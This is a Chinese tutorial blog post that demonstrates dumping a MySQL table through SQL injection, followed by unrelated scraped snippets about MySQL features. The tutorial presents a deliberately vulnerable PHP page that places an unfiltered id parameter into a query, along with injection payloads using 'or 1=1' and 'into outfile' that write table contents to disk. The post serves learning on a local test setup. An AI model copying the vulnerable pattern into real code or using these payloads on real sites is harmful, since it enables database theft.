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想在本地测试的话,可以在此免积分下载:利用SQL注入漏洞拖库
同上一篇文章一样,我们需要创建数据表,并在表中出入几条数据以备测试之用。
在数据库中建立一张表:
CREATE TABLE `article` (
`articleid` int(11) NOT NULL AUTO_INCREMENT,
`title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '',
`content` text CHARACTER SET utf8 NOT NULL,
PRIMARY KEY (`articleid`)
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;
在表中插入数据的操作我就不贴代码了,可以去下载下来直接导入到数据库。
接下来,写一个处理用户请求的页面,这里,我们故意不过滤用户提交过来的数据,留下个SQL注入漏洞用来测试。
代码如下:
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
$id=$_GET['id'];//id未经过滤
$conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
mysql_select_db($dbname,$conn);
mysql_query('set names utf8');
$sql = "SELECT * FROM article WHERE articleid='$id'";
$result = mysql_query($sql,$conn);
$row = mysql_fetch_array($result);
echo "
利用SQL注入漏洞拖库
";
if (!$row){
echo "该记录不存在";
exit;
}
echo "标题
".$row['title']."
";
echo "内容
".$row['content']."
";
?>
我们直接在浏览器中输入:
http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1
即可访问article表中id为1的一条记录
访问结果如下:
在地址栏中输入:' into outfile 'e:/sql.txt'%23
分析:%23是#的ASCII码,由于在地址栏中直接输入#后到数据库系统中会变成空,需要在地址栏中输入%23,那么才会变成#,进而注释掉后面的sql语句。
运行之后,打开E盘,发现多了一个sql.txt文件,打开之后,里面就是表article中的一条记录。
为什么只有一条记录呢?难道该数据表就只有一条记录?不是这样的,因为我们只检索id为1的一条记录而已,那么能否将article表中的所有记录一次性全部下载下来呢?
答案是可以的,只要你的构造的SQL语句足够灵活(再次提出了构造SQL语句的灵活性)。
分析一下,当在URL地址栏中输入'into outfile 'e:/sql.txt'%23的时候,合并到sql查询语句中变为:
SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'
仔细分析下之后,我们可以这样子构造SQL语句:
SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#'
这样的话,无论如何WHERE子句总是为真,换句话说,该sql语句等价于如下:
SELECT * FROM article into outfile 'e:/whf.txt'#'
懂了吧,该sql语句在先执行select语句,将表article中的所以内容全部检索出来,然后再执行into outfile 'e:/whf.txt'#'将内容导出来。
不信的话,你执行下……
利用SQL注入漏洞,我们可以猜测表名,列名,用户的密码长度(LEFT函数)等等,当然了,如果能直接向以上的演示那样将表中的数据全部导出的话就没必要去猜表名列名等等。
有点累了,就写到这里了。
利用SQL注入漏洞登录后台和利用SQL注入漏洞拖库是我学习了相关内容之后的一点小结,没啥深度,正如文章开头所说,权当总结,别无它意。bitsCN.com

MySQL和SQLite的主要區別在於設計理念和使用場景:1.MySQL適用於大型應用和企業級解決方案,支持高性能和高並發;2.SQLite適合移動應用和桌面軟件,輕量級且易於嵌入。

MySQL中的索引是數據庫表中一列或多列的有序結構,用於加速數據檢索。 1)索引通過減少掃描數據量提升查詢速度。 2)B-Tree索引利用平衡樹結構,適合範圍查詢和排序。 3)創建索引使用CREATEINDEX語句,如CREATEINDEXidx_customer_idONorders(customer_id)。 4)複合索引可優化多列查詢,如CREATEINDEXidx_customer_orderONorders(customer_id,order_date)。 5)使用EXPLAIN分析查詢計劃,避

在MySQL中使用事務可以確保數據一致性。 1)通過STARTTRANSACTION開始事務,執行SQL操作後用COMMIT提交或ROLLBACK回滾。 2)使用SAVEPOINT可以設置保存點,允許部分回滾。 3)性能優化建議包括縮短事務時間、避免大規模查詢和合理使用隔離級別。

選擇PostgreSQL而非MySQL的場景包括:1)需要復雜查詢和高級SQL功能,2)要求嚴格的數據完整性和ACID遵從性,3)需要高級空間功能,4)處理大數據集時需要高性能。 PostgreSQL在這些方面表現出色,適合需要復雜數據處理和高數據完整性的項目。

MySQL數據庫的安全可以通過以下措施實現:1.用戶權限管理:通過CREATEUSER和GRANT命令嚴格控制訪問權限。 2.加密傳輸:配置SSL/TLS確保數據傳輸安全。 3.數據庫備份和恢復:使用mysqldump或mysqlpump定期備份數據。 4.高級安全策略:使用防火牆限制訪問,並啟用審計日誌記錄操作。 5.性能優化與最佳實踐:通過索引和查詢優化以及定期維護兼顧安全和性能。

如何有效監控MySQL性能?使用mysqladmin、SHOWGLOBALSTATUS、PerconaMonitoringandManagement(PMM)和MySQLEnterpriseMonitor等工具。 1.使用mysqladmin查看連接數。 2.用SHOWGLOBALSTATUS查看查詢數。 3.PMM提供詳細性能數據和圖形化界面。 4.MySQLEnterpriseMonitor提供豐富的監控功能和報警機制。

MySQL和SQLServer的区别在于:1)MySQL是开源的,适用于Web和嵌入式系统,2)SQLServer是微软的商业产品,适用于企业级应用。两者在存储引擎、性能优化和应用场景上有显著差异,选择时需考虑项目规模和未来扩展性。

在需要高可用性、高級安全性和良好集成性的企業級應用場景下,應選擇SQLServer而不是MySQL。 1)SQLServer提供企業級功能,如高可用性和高級安全性。 2)它與微軟生態系統如VisualStudio和PowerBI緊密集成。 3)SQLServer在性能優化方面表現出色,支持內存優化表和列存儲索引。


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